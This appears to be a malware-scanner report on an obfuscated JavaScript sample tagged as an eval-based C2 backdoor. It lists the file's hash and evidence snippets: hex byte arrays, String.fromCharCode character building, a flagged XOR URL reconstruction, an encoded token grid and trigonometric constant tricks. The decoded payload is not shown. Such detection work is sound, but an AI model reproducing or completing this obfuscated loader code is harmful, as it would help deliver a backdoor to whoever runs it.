Suspicious ^80% javascript-malware-collection Download

20151217_8ea401817c883f6d6e1e6464a8a647b8.js

obfuscated eval C2 backdoor

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-2567f6bc2fc41c0e4f0cb0e2bc15f84ea8f8fce7005c3b15ebf4b1559b6ec2ecabb

Evidence

0xff hex byte token line 1

1:199… xc0,0xc4,0xca,0xcf,0xd3,0xd7,0xde,0xe4,0xe9,0xee,0xf4,0xf6,0xfc,0xff,0x106,0x109,0x110,0x115,0x119,0x120,0x126,0x12a,0x12e,0x134,0x139,0x13c,0x143,0x147,0x14b,0x153,0x158,0x15c,0x15e,0x165,0x169,0 …

Builds characters with String.fromCharCode line 2

2:150… '^','!','>','{','R','h','%',',','#','f','L',';',' ','"','Z','d',String.fromCharCode(10),':','p','J','x','Q','o','J','i','E','1','N','-','f','K','F','Y','Q',String.fromCharCode(13),'$','O','J','(','x','G','#','L' …

XOR URL reconstruction call line 2

2:1862… 'p','N','$','y','Z','p','p','[','A','r','d','_','P','c','N','c',String.fromCharCode(92),'M',';','a',']','P','{',',','&','^',']','Z','O','_',',','w','B','"',',','`','Z','1','<',')','j','a','b','M','S','E','l','Z','c','i','c','$','d','2','z','x','I','m …

Dense indexed short-token grid lines 12–13

12:33… qTmEnmQ,RZdmxvVhDHg) {ZllzgUASPBXmTP[EDSKWkqTmEnmQ]=RZdmxvVhDHg;}
13var r = new Array();r[0]=[];r[0][0]='d';r[0][1]='a';r[0][2]='d';r[0][3]='a';r[0][4]='46';r[0][5]='3d';r[0][6]='42';r[0][7]='14';r[0][8]='3g';r[0][9]='14';r[0][10]='25';r[0][11]='14';r[0][12]='16';r[0][13]='47';r[0][14]='3k';r[0][15]='3d';r[0][16]='44';r[0][17]='3g';r[0][18]='3l';r[0][19]='3g';r[0][20]='49';r[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],r[4],r[5]];
20var BruhWoqnl=[];
21function rPqlFLSVOnAHKteyF(DYEgX){NxinuENqxZd= '';BtnPdMrUQsV=Math.round((Math.pow(Math.sin(718), 2) + Math.pow(Math.cos(718), 2) - 1));while(true){if (BtnPdMrUQsV >= (2104+386)/415){break;}BruhWoqnl[BtnPdMrUQsV]=Math.round((Math.pow(Math.sin(349), 2) + Math.pow(Math.cos(349), 2) - 1)); while(true) { if(BruhWoqnl[BtnPdMrUQsV] > DYEgX[BtnPdMrUQsV].length-(816+92)/908) { break; } if (kLWkhMZ(BQYEl(DYEgX[BtnPdMrUQsV][BruhWoqnl[BtnPdMrUQsV]],(5769+755)/233,(7164+806)/797))) {NxinuENqxZd += vMbgsXjnqazYwCYDaKkZneRSGyLNCYSijibEscbqNfJRpjXMYzlHPD([DYEgX[BtnPdMrUQsV][BruhWoqnl[BtnPdMrUQsV]]], Math.round((Math.pow(Math.sin(785), 2) + Math.pow(Math.cos(785), 2) - 1)));} BruhWoqnl[BtnPdMrUQsV]++;}BtnPdMrUQsV++;} return NxinuENqxZd}
22var ogmxykpJDCMPuwjZXFPBEbtItREwQQoZA = 'zEunQxsTfuHFHAImUPKOzMGknecjSayRWzVK';var PMJnXqanXOxrtVuznMEcRpIYYQZXuwvW = 'MJwhcwYJKgMSfRfUhiDeGNuHWDagTvzAPgxO';NGitWXnMFnVjxfR(rPqlFLSVOnAHKteyF(DYEgX),ogmxykpJDCMPuwjZXFPBEbtItREwQQoZA,PMJnXqanXOxrtVuznMEcRpIYYQZXuwvW);